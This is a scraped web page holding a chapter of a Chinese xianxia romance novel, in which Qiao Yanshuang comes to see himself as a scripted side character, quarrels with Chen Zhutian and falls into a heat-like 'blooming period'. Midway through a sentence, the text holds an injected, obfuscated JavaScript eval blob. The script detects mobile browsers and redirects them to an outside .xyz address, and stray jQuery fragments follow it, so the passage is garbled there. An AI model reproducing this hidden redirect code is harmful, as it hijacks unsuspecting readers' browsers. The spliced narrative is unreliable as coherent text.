默认冷灰
24号文字
方正启体

4. 带球跑第四天

作者:柠星榕本书字数:K更新时间:
    乔砚霜站在门口,日光里管事、以及少年身后的护卫的面容依旧模糊不清。


    他只能看清陈逐天和少年的脸。


    管事终于有了动作,对着少年恭敬行礼:“二殿下,丑话说在前头,这兽宠蛋的确是首座先预定的,本来马上就要送去离恨天,里面的畜生许是见了您过于欢喜才提前破壳……”


    仙界唯一能被尊为“二殿下”的,只有天帝那个体弱多病的小儿子──姬淋月。


    血淋淋的事实就摆在面前,就算有的细枝末节对不上,可大体都在按照话本上的内容发展。


    话本是真的。


    他只是个无足轻重的炮灰,所以这么多年陈逐天才会对他若即若离。而他即便感受到了冷落难堪,还是会遵循“剧情”对陈逐天痴心一片不求回应。


    或许就连所谓的“癔症”,也都是“剧情”在警告他不要试图觊觎不属于自己的东西。


    乔砚霜几乎要呕出血来,悲愤交加下眼前冒出大片黑点。


    “咔嚓──”


    琉璃迸裂的脆响灌进识海,似乎有什么东西随着这一声裂响归于天际。


    模糊不堪的人面逐渐明朗,灵台通透,神魂如沐甘泉。


    乔砚霜扶着门框缓缓挺直腰板,看了看天,又看了看人群。


    他……从来没有这么清醒过。


    “你来这儿是为了这王八蛋?”囚天鼎闷着声音骂着,“你是不是有毛病,这狗东西……”


    “我们走。”


    乔砚霜安抚着囚天鼎,深深看了陈逐天一眼。


    育雏馆门口泛起了微弱的灵波。


    陈逐天蹙眉看去,却什么也没发现。


    “我管它是谁先定的。”姬淋月恶狠狠瞪着陈逐天,“本殿下今天非它不可,有本事找我爹告状去!”


    “你一个血脉不纯的乌鸡凭什么和我争!”


    在场众人全都倒吸一口凉气。


    谁人不知凌霄首座本为混血的黑凤凰,那点人族的血脉还是修炼大成后才彻底剔除的,比起其他仙尊的根脚……多了几分不体面。


    没人闲到拿血脉当面戳人痛处。可姬淋月不一样,他不仅闲还有爹撑腰,口无遮拦惯了说什么都不奇怪。


    眼看着陈逐天手背青筋暴起,姬淋月也不发怵,梗着脖子喊道:“凶什么,这狐狸崽子让给你的话你能养活吗?”


    “殿下慎言,我送人。”陈逐天垂下眼帘遮住杀意,手却放在了涅羽剑上。


    姬淋月不依不饶:“送谁?”


    陈逐天语气冰冷:“与你无关。”


    “说不出来就当你诓我,”姬淋月翻了个白眼,“多宝──”


    “属下在。”


    护卫队里出来个人高马大的仙君。


    “打包带走。”


    等到姬淋月为首的一群仙君浩浩荡荡离开,管事立马去到陈逐天身边。


    “首座……我这育雏馆还有几枚要破壳的蛋,您要不再去看看别的?”


    陈逐天瞥了管事一眼:“有狐狸蛋吗?”


    管事挠挠脑袋有些为难:“最近百年要破壳的狐狸蛋只有两枚。一枚是殿下带走那个,另一枚先天有缺,园主已经送给初恒仙侍了。”


    陈逐天眸光微动,挥手道:“罢了。”


    乔砚霜刚进洞府就被毛绒绒糊了一脸,为首的灵猫拽了拽他的衣摆,示意他跟过去。


    “怎么了?”


    “嘤……嘤嘤……”


    幼崽的哼唧从洞府右侧的育雏室传出,乔砚霜这才记起园主前些日子送来的狐狸蛋已经到了破壳的日子。


    仙兽园的兽宠从来不缺好去处,就算是先天有缺无人认养,也会在园里好吃好喝寿终正寝。


    他洞府里这些兽宠治好病是要送回去的,之前如此,今后……


    乔砚霜用手背试了试灵乳的温度,喂给还没睁眼的狐狸崽。


    后肢明显萎缩的幼崽捧着奶瓶“咕噜咕噜”吞咽着,没一会儿就吃得肚皮浑圆。


    囚天鼎任劳任怨,幻化出三头六臂扮演起奶妈角色,一手轰着乔砚霜,一手掰碎蛋壳喂进幼崽嘴里:“你回去歇着吧,我来看着就行。”


    “真是的……明明喜欢狐狸崽怎么不养个健康的,费劲巴力养好了还要给那个老头送回去。”


    乔砚霜点了点幼崽湿漉漉的鼻尖,回答着:“喜欢不代表要独占,更何况我非良主。”


    “痊愈后它们会有更好的归宿。”


    囚天鼎嘴上叭叭个不停,手里活也没停过,噼里啪啦又抢了傀儡的活计,化郁闷为动力把洞府上下打扫得焕然一新,还给每只兽宠都洗了澡。


    这间只有和陈逐天吵架才会留宿的洞府格外简洁,进门就是寝室,右侧是育雏室,左侧是兽宠居。


    尽头的暗门后是炼丹房──那些让其他仙天眼馋得不行的丹药正是出自于此。


    脸色难得红润的青年正在装东西,都是些充满着生活气息的零碎物件。


    囚天鼎:“……祖宗你又在做什么?”


    千万别告诉它是要收拾东西去找陈逐天。


    它会气死的,就算器灵气不死它也得装死一段时间。


    这些年这两个人每次爆发争吵,无论错在谁脑袋上,最后都是乔砚霜先低头求和。


    囚天鼎对乔砚霜的态度早就进化到眼不见心不烦。它压根不敢想如果丹神活着,看见自己的继承人如此窝囊会不会气得破口大骂。


    “我要离开这儿。”


    “啊?”囚天鼎扔了手里的帕子,“你终于想明白了!”


    “快快快,咱们去玲珑天!鹤别仙尊对下属好得没边,我们去了一定──”


    “去哪儿?”


    洞府入口逆光处多了道高大的身影,乱窜的兽宠就像老鼠见了猫,眨眼间全跑回了兽宠居。


    乔砚霜收拾东西的动作顿了顿,头也不抬道:“别听囚天瞎说,我哪都不去。”


    囚天鼎:“……?”


    呵,果然情种的话信不得。


    照明仙器下,青年多半张脸隐没在裘衣里,只露出来一点精致的眉眼,身上裹挟着风雪的冷意,还有……草木气息。


    “你去了长青天?”陈逐天说着,又不是很确定。


    乔砚霜没说话。


    两人之间的氛围愈发诡异,囚天鼎也不知道自己刚才的豪情壮志都跑哪去了,只敢在心底为乔砚霜加油鼓劲。


    对,就是这样,继续保持!


    “嘤嘤……”


    狐狸崽的叫声从男人胸口传出,乔砚霜意外看过去,对上了一双黑溜溜的眼睛。


    看着足有几个月的雪狐幼崽歪着脑袋,蓬松的尾巴尖泛着淡淡蓝意,格外憨态可掬。


    “随手捡的。”陈逐天拎出狐狸崽,把它放进乔砚霜怀里。


    其实是他厚着脸皮在赤华仙尊的灵兽园里抓的,那一窝狐狸崽里只有这一只不怕他。


    乔砚霜神色复杂地摸着小狐狸:“你是在求和吗?”


    求和?


    陈逐天蹙了蹙眉,他不是……识海微微刺痛,等到疼痛消失点头道:“魁星宴是我不好,本来想着──”


    “嘘。”乔砚霜竖起食指放在唇边,又指了指怀里的狐狸崽。


    “它好像看不见东西。”


    看着凑在一起检查狐狸的两人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411809|184623||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,囚天鼎冷漠地钻进育雏室。


    没救了。


    等到喂狐狸崽吃了丹药,又催促着陈逐天把它送回夕颜天,乔砚霜才重新开始装东西。


    “哟,您老怎么又开始收拾了?”囚天鼎阴阳怪气着。


    乔砚霜:“你觉得……这个世界是真实存在的吗?”


    囚天鼎摸不着头脑:“你疯了?”


    “我没疯。”乔砚霜叹息着收好裘衣,坐在水镜对面端详着自己的脸。


    乌眉凤眼、墨眸丹唇……很真实,甚至能看清脸上的绒毛。


    可识海里的话本却无时无刻不在告诉他这一切都是假的。


    爱也好恨也罢,就连每一次呼吸都如同戏台上供人观赏的傀儡。


    恬淡的花香陡然出现,不出几息变得甜腻至极,隐约还透着股酒香,而镜子里青年全然变了一副模样。


    泛光的白发白眸让他看起来像是山中不谙世事的精怪,唇色艳红如血,衬得那张芙蓉面更加昳丽。


    妖相外显,说明他的情热已经要压不住了。


    而他的头发和眼睛,会随着盛花期的到来颜色越变越深,直到粉红如血。


    乔砚霜转了转粉玉镯,这镯子是用神级残料炼制出来,专门压制他炉鼎体质的半神器。


    因他修为不到家,容易连仙力也被一并封锁,平日里便被层层的禁制包裹着。


    乔砚霜咬牙又放开一部分禁制,试图压制盛花期的躁动,可热度分毫不减。


    玉镯上所剩无几的禁制摇摇欲坠,可若是全部解开,仙力内锁结界失效,洞府里的催. 情的花香整个离恨天都能闻见。


    他从未如此痛恨过自己这一身通灵玉仙骨。


    “药……”


    雪白的丹药如珠落玉盘,掉在了乌金妆奁上。乔砚霜胡乱嚼了两把,强撑着力气看向水镜,看见了一头粉色的发丝。


    丹药没用,盛花期开始了。


    陈逐天揣着才从赤华仙尊那讨来的兽奶,被洞府厚重的禁制挡了一下。


    出事了。


    破开禁制浓得让人喘不上气的香味儿跑了出来,张牙舞爪,顷刻间朝着更远的地方飘去。


    橙红色的火焰霎时出现,包裹住洞府所在的整座孤峰,断绝了香味儿逸散的可能。


    陈逐天小心翼翼收敛了身上的热气,这才走了进去。


    “谁?”


    银针堪堪停在了灵台前,其上星光浮动,刺破了眉心一点。


    玄冰床上的人似乎认出了他,却迟疑着不肯将银针挥散。


    “是我。”


    陈逐天视若无睹,径直前进。


    银针最终偏了几分,擦着他的脸颊消散在空气里。


    “你不是走了么,还回来做什么……”


    粉发粉眼的青年声音像是含了一汪春水,眼泪顺着潮红的脸一直滚落到下巴尖,看着格外惹人怜惜──


    陈逐天猛得将人横抱起来。


    轻飘飘的重量让他有些意外,可怀里人的推拒让他没空细想,直接用法术捆住了乔砚霜的手脚。


    “有什么气等盛花期之后再撒。”


    又是这样。


    永远不知道他为什么生气。


    乔砚霜气急,一口咬在陈逐天脖子上,尝到了温度和岩浆没什么区别的凤凰血。


    这点血腥味儿反倒让他冷静不少,想起宴会当晚争吵过后一片空白的记忆,鬼使神差问道:“那我昨天情热……你为什么要走?”


    男人的声音带上些许困惑:“我没走。更何况你昨天并非情热,药仙说你是盛花期紊乱导致体热……”


    “囚天没和你说吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)